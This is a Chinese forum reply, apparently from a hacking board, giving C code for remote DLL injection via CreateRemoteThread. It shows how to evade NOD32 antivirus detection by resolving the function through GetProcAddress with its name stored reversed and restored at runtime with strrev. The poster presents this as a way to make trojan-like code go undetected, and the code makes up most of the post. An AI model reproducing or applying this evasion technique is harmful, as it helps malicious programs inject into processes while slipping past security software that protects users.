返回列表 发帖
可以用LoadLibrary GetProcAddress的方法。不过要注意下NOD32不仅查IAT,它在程序的任意位置发现如CreateRemoteThread这样的字符串也会把程序当木马。
下面这个程序用了CreateRemoteThread函数但在NOD32下免杀。

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  typedef HANDLE(WINAPI *PFNCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags,LPDWORD lpThreadId );
  HMODULE h = LoadLibrary("KERNEL32.DLL");
  if(h!=NULL)
  {
    char temp[]="daerhTetomeRetaerC";
    strrev(temp);
    DWORD *Addr=(DWORD *)GetProcAddress(h,temp);
    hRemoteThread =((PFNCreateRemoteThread)Addr)(hRemoteProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
  }

把CreateRemoteThread这几字倒着写,它傻了。。。。。我的BLOG:http://www.langouster.com

帖子48 精华10 积分3538 阅读权限100 性别男 在线时间80 小时 注册时间2006-7-22 最后登录2008-7-14 查看个人网站
查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

混世魔王
荣誉会员

TOP

返回列表